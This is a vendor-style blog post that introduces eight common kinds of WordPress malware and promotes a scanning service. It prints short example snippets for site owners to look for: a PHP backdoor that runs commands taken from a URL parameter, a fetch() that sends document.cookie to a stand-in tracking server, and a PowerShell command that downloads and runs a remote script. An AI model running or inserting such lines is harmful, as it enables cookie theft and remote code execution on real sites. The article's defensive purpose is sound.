8 Common WordPress Malware Infections: How to Find & Deal With Them (An Overview)

The 2024 SonicWall Cyber Threat Report unveils that malware attacks are up 11% (YOY) to a whopping 6.06 billion, continuing an upward trend that was noted in its 2023 report. Here’s a beginner’s look at how to figure out if your WordPress site is infected with malware. 

Malware infections are a significant concern for website owners, and WordPress sites are no exception. Although WordPress attempts to diligently address core software security issues via updates, plugin and theme developers can’t always guarantee the same level of diligence. This creates a potential vulnerability that malicious actors can exploit, resulting in malware infections on WordPress sites.

There are plenty of ways that websites can get infected — infected plugins and themes, compromised shared hosting servers, etc. We won’t get into all of that here, though… our focus is to help you figure out whether your WordPress site is infected with malware, and what to do if it is.  

This article will explore WordPress infections, exploring their common forms and informing you about how to effectively scan for malware infections online.

8 Common Malware Infections That May Be Lurking on Your WordPress Site

With its ability to power 43.2% of websites, WordPress has become one of the world’s most popular content management systems (CMS). From small businesses to significant organizations, millions of people rely on it to manage their online presence. 

However, like any platform, WordPress is not immune to malware infections. To protect their websites against these threats, owners must educate themselves on the types of WordPress malware that can be used to wreak havoc. By learning how to detect and mitigate individual types of malware, and recognizing the harmful effects malware has on their website and visitors, owners can take the necessary steps to keep their platforms safe and secure.

1. SEO Spam Malware

SEO spam malware is malicious software that infects websites with the aim of creating spam links or content that benefits the search engine optimization of other sites. This technique, also known as “spamdexing,” manipulates search engine rankings by injecting or altering website content. It often involves redirecting website traffic to harmful destinations.

In WordPress, too, this can severely damage a site’s reputation and search engine rankings, potentially leading to blacklisting.  

What to Look For on Your WordPress Site

Regularly check your website’s content and link insertions within posts and pages for signs of SEO spam. Here’s an example of a Pharma Hack, which discreetly inserts unauthorized links into posts or comments to exploit a site’s search engine ranking for malicious purposes:

<a href='http://malicious-site.com' rel="nofollow">Buy Medication</a>

Code caption: An example HTML link to a malicious site inserted with a “nofollow” attribute. While using the nofollow attribute discourages the spam site’s search ranking, it doesn’t stop its malicious intent. A common SEO practice that can be misused.

Of course, be sure to not just delete URLs willy-nilly. Take the time to research each instance; this way, you don’t delete something you shouldn’t and wind up accidentally breaking your website.

SEO Spam Malware Mitigation Measures

To mitigate the threat of SEO spam malware:

• Consistently audit your site for unexpected content changes,
• Employ web application firewalls to detect and block SEO spam injections, and
• Use plugins to monitor and clean up SEO spam.

Related article: My Website is Redirecting to Spam: How to Diagnose & Remediate the Issue

2. Adware

Adware is malicious software designed to display advertisements on your screen, usually within a web browser. Although not always harmful, adware can be a frustrating disturbance. On WordPress websites, adware can manifest as intrusive advertisements, unexpected redirections to ad-heavy pages, or even malicious ads that pose additional security risks.

Often, adware is a client-side concern, affecting the browsers or devices of the user visiting your site. However, in some cases, it can also be something hidden within the third-party plugins and tools you use on your WordPress site.

What to Look For on Your WordPress Site

Regularly inspect external scripts and ad widgets in your website’s header, footer, or widget areas for any URL insertions you don’t recognize. For example, keep an eye out for code insertions like this that link to unauthorized websites:

window.open('http://ad-site.com');

Code caption: JavaScript command for opening a new browser window or tab, pointing to a specified URL.

Adware may infiltrate WordPress through questionable or compromised third-party tools or hosting, resulting in bothersome pop-ups or redirects to phishing sites. So, if you notice any of these issues, it’s a big red flag and means it’s time to start digging.

Adware Mitigation Measures

Combat adware by carrying out the following:

• Running daily website security scans to search for malware that may be injecting ad link redirects,
• Maintaining up-to-date website security software,
• Evaluating plugins for malicious redirects within scripts

3. Viruses

A computer virus is malicious software that replicates itself by modifying other programs. WordPress website viruses infect clean, legitimate files and spread throughout the system, causing damage to its functionality and performance.

Infections that occur through compromised core files, themes, or plugins lead to issues such as corrupted files, website crashes, and potential harm to site visitors.

The SoakSoak virus is a notorious example impacting numerous websites. This virus exploits a vulnerability in the Slider Revolution plugin by injecting harmful JavaScript into the wp-includes/template-loader.php file.

What to Look For on Your WordPress Site

WordPress administrators must regularly monitor WordPress core files, themes, and plugins for unauthorized modifications. Here’s one such example:

<?php if(isset($_GET['infect'])) { /* malicious code */ } ?>

Code caption: PHP checks for a specific GET parameter to conditionally execute a malicious code block. This enables targeted actions based on URL parameters.

WordPress Website Virus Mitigation Measures

To prevent virus-related issues from impacting your website:

• Keep all site components (plugins, themes, WordPress versions, etc.) updated,
• Run regular (ideally, daily) website antivirus scans,
• Employ website security services and solutions, including a web application firewall, and
• Ensure strong access controls to mitigate the risk of viral infections on your WordPress site.

Related article: How to Secure Your WordPress Website from Hackers

4. Trojans

Trojans are a type of malware that cyber thieves and hackers often use to gain access to users’ systems. Unlike viruses, trojans don’t replicate themselves. Instead, they masquerade as benign software or files, tricking users into installing them.

This deceptive software can be harmful. That’s why it’s essential to be cautious when downloading and installing any software from the internet.

(NOTE: It’s always best to use software and scripts that are digitally signed using a publicly trusted code signing certificate. This process asserts your verified digital identity up front and protects your product’s integrity, thereby creating digital trust in your software and brand.)

What to Look For on Your WordPress Site

Within the WordPress ecosystem, trojans can infiltrate through dubious themes or plugins, providing attackers with unauthorized access and the means to steal data.

Keep an eye out for any unusual code that links off to a website you don’t recognize. For example:

<?php /* benign code */; exec($_GET['hidden_command']); ?>

Code caption: PHP code executes an external command received via a GET parameter, a tactic often used by trojans. Hidden commands are triggered through URL parameters.

The WP-VCD malware, which is named after a file name associated with it (wp-vcd.php), is a perfect example of such a threat. This malware infects your website by taking advantage of infected or nullified themes and plugins. It’s used to redirect traffic or discreetly establish secret admin accounts, granting attackers ongoing access to manipulate web application data.

Trojan Mitigation Measures

As a precaution against trojans, always review downloaded themes and plugins for hidden, suspicious functions. Install themes and plugins from the official WordPress repository or trusted developers only, and regularly review user access levels and activity logs to detect and remove any unauthorized changes.

Related article: The Ultimate WordPress Security Best Practices Guide

5. Spyware

Generally speaking, spyware is a type of malware that operates covertly and collects information from an infected computer, compromising privacy by monitoring user activities without consent. While it’s mainly an end user concern, it can also affect websites.

In the WordPress environment, website spyware can clandestinely monitor and pilfer confidential data from site owners and users. It’s often executed through compromised add-ons, covertly tracking user activities, and transmitting sensitive information, such as admin credentials, to remote servers controlled by attackers.

What to Look For on Your WordPress Site

As a measure against this malware, regularly check for unauthorized tracking scripts in your website’s JavaScript files or embedded in pages. (You can do this using an automated scanning tool such as SiteLock.)

Code example:

fetch('http://tracking-server.com', { method: 'POST', body: JSON.stringify({cookies: document.cookie}) });

Code caption: JavaScript POST request with cookies, securely transmitting data to a server. This illustrates how spyware might transmit data.

Spyware Mitigation Measures

To prevent spyware from continuing to wreak havoc on your website:

• Regularly scan your website for malware (including spyware)
• Implement strict access control measures to restrict access and limit the potential for malware infections,
• Employ SSL/TLS encryption to prevent malware from being injected into data in transit,
• Regularly monitor and audit plugin and theme integrity, and
• Educate users on secure browsing practices to combat spyware.

6. Redirect Viruses (Redirect Malware)

As the name implies, a redirect virus is a type of malware that inserts malicious code into a website. This causes the user’s browser to redirect to another website, usually one that is harmful and controlled by the threat actor who is using the malware. However, it’s important to note that website redirects also can occur for reasons other than malware.

When performed intentionally, these redirects can seriously disrupt the browsing experience by redirecting visitors from legitimate websites to malicious ones without their consent.

What to Look For on Your WordPress Site

In WordPress, website redirects often (though not always) involve the use of malware. With a conditional redirect, for example, bad guys frequently hijack Apache .htaccess files to inject malicious code, rerouting users to undesirable domains using selective criteria.

To mitigate this issue, regularly examine your site’s .htaccess files for unexpected redirect codes. For example, look for your page’s URL path to be redirected elsewhere (i.e., to a page or domain you don’t recognize):

Redirect [status] “URL-path” “http://malicious-site.com”

Code caption: The above example redirects to a malicious site, covertly steering users to potentially harmful destinations in a single action.

Check out this WP Scholar article for more examples of what redirect codes look like in an .htaccess config file.

Also be sure to keep an eye out for favicon image files that you don’t recognize, as one or more may be a hidden favicon virus.

Redirect Malware Mitigation Measures

So, what can you do to remediate this type of threat and prevent redirects from reoccurring on your website?

• Regularly review and clean your .htaccess files for anything unusual,
• Implement server-side validation,
• Employ content security policies, and
• Use security plugins that can detect and block malicious redirects.

Related article: How to Fix the WordPress Redirect Malware Issue on Your Website

7. Ransomware

Ransomware is a type of malware that poses a severe threat to individuals and businesses. It is a form of cryptovirology that blocks access to a system and its data until a ransom is paid. This form of malware encrypts files or systems and demands payment for their release in the form of a decryption key.

In some cases (and those instances are increasing), bad guys use ransomware as an opportunity to exfiltrate sensitive data. They can use that captive data to:

• Extort additional ransom from the targeted organization,
• Sell or barter with other cybercriminals, or
• Publish online to cause reputational harm and embarrassment for the company.

What to Look For on Your WordPress Site

Ransomware is a particularly menacing threat and can cause significant harm to those affected. In the WordPress context, ransomware may encrypt essential website files, rendering a site inoperable and potentially resulting in data loss and damage to reputation.

Keep an eye out for unexpected messages indicating that your data is encrypted or otherwise inaccessible, or that you’re expected to make a payment to restore website functionality.

The EV ransomware, for instance, was malware targeting WordPress websites that enabled attackers to encrypt critical site files or databases, demanding a ransom for decryption keys.

Website ransomware underscores the importance of strong malware removal strategies and having usable, current backups of your website files by using a website backup service such as CodeGuard.

WordPress Site Ransomware Mitigation Measures

To eliminate existing ransomware on your website and prevent ransomware threats:

• Secure access to your site’s admin dashboard and backend to prevent malicious uploads,
• Use trusted and digitally signed website plugins to reduce malware infection risks,
• Use website security software that offers daily scanning and threat prevention tools, and
• Implement strong encryption protocols across your website and web apps.

8. Fileless Malware

Fileless malware is a type of malicious activity that uses legitimate tools built into a system to execute nefarious activities. It is called “fileless” because it can perform unauthorized actions without downloading malicious files onto the system. This sophisticated threat operates in a device’s memory without leaving detectable files, which makes it challenging to identify.

Although fileless malware is primarily an operating system concern (i.e., a concern for site visitors), it can indirectly impact WordPress sites on infected servers, too. Hackers can inject harmful code into WordPress by exploiting server vulnerabilities and other exploits, leading to data theft and unauthorized access.

Always use server monitoring tools to detect unusual in-memory activities.

What to Look For on Your WordPress Site

To protect your WordPress website from fileless malware, take appropriate measures. Not sure what to look out for? Monitor for anomalous patterns such as:

• Spikes in website traffic, especially to illegitimate pages that shouldn’t exist on your site (cybercriminals love to drive users to phony pages they control, and these pages may exist on your site),
• Links inserted to URLs you don’t recognize in your site code, or
• Malicious ads that are inserted on your site that may contain code like the following:

PowerShell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http://malicious.domain/evil_script'))"

Code Caption: Conceptual example of fileless malware for information purposes only. Code source: GitHub

Fileless Malware Mitigation Measures

To mitigate fileless malware threat:

• Employ advanced website and endpoint detection and response solutions to scan your site and hosting computer or server,
• Review your code for any unknown or out-of-place code insertions,
• Use user behavior-based monitoring tools, and
• Maintain strict server configuration practices and role-based access controls to secure your site against attackers who can use your site to launch fileless malware attacks.

Is Your WordPress Site Infected with Malware? Here’s How to Address Common WordPress Malware Infections

When dealing with WordPress malware issues on your website, there are several ways to deal with the issue.

• Take your site offline ASAP: Shut it down immediately and start working behind the scenes to deal with this issue as quickly as possible.
• Perform regular website security scans: Set up routine scanning of your WordPress site to catch malware quickly. Ideally, these scans should be run daily to help keep attackers at bay.
• Seek help from website security professionals: Seek professional analysis and insights for comprehensive security assessments.

Use SiteLock to Scan Your WordPress Website for Malware and Prevent Future Infections

SiteLock is a powerful security tool that operates in the cloud and scans your website for signs of malware or vulnerabilities. This innovative software not only helps you identify potential threats via a web application firewall (WAF), but it also identifies and fixes existing malware issues or security risks that it uncovers on your website.

As per the SiteLock Website Security Report 2022, websites are under attack an average of 94 times per day, which can result in downtime, blocklisting, and compromised data. With SiteLock, you can rest assured that your online presence is protected from cyber attacks and other malicious activities.

Staying one step ahead is essential, with hackers constantly finding new methods to attack websites. SiteLock runs continuously in the background:

• Carries out daily scans of your WordPress site: SiteLock scans all files that enter your system and alerts you of any security threats as soon as they are detected.
• Detects and removes malware and vulnerabilities: If a problem is found, SiteLock takes action to remove malware and malicious code, patch vulnerabilities, and deal with other potential security risks on your site.
• Protects against future threats: SiteLock protects your WordPress website against harmful traffic as well, which could be used to transport malware.

Take Steps to Prevent Future WordPress Malware Infections

Once you’ve gotten rid of any common WordPress malware infections from your website, it’s imperative that you take steps to prevent a similar situation in the future. To do this:

• Continue carrying out daily website security scans: You can use SiteLock for this purpose as well.
• Perform regular updates: Maintain the latest software and security updates for all WordPress components.
• Harden your website’s security defenses: Apply WordPress hardening techniques to reduce attack surfaces.
• Review alerts and develop a response protocol: Configure real-time alerts for any suspicious activity.
• Protect core file integrity: Regularly verify the integrity of WordPress core files.
• Conduct regular user account audits: Routinely audit user roles and permissions to ensure only authorized access.
• Use a web application firewall: Add another layer of security to protect your site against common WordPress malware infections.
• Implement other preventive website security measures: Establish solid defenses to stave off future threats.

Bonus: Maintain current backups for restoration. Keep up-to-date backups (ideally, multiple copies in multiple formats and geographic locations) and practice your restoration procedures and processes.

Final Thoughts on WordPress Malware Infections

The SiteLock report we mentioned earlier provides a mixed outlook of website security. A 20% reduction in website malware infections from the last year offers a glimmer of hope. Yet, this optimism is tempered by an alarming 237% increase in the volume of website files that had to be cleansed of malware, underscoring a rise in the severity of automated attacks.

It’s clear that prioritizing the security of your WordPress website is the need of the hour. Undetected breaches due to malware infections and other vulnerabilities can have devastating effects, leaving visitors vulnerable to SEO spam attacks and customers’ data at risk of compromise. The dynamic security landscape necessitates continuous vigilance as programmers develop technologies that can either harm or protect website owners.

While preventive measures are essential, it is impossible to eliminate the risk of a successful hack. Furthermore, conducting manual file reviews is time-consuming and carries risks. Thus, opting for professional WordPress security scans ensures thorough cleanup while minimizing potential risks.

Embracing robust security scanning tools like SiteLock allows proactive safeguarding of websites, maintaining strong defenses against malware, and providing a secure online experience for visitors and customers.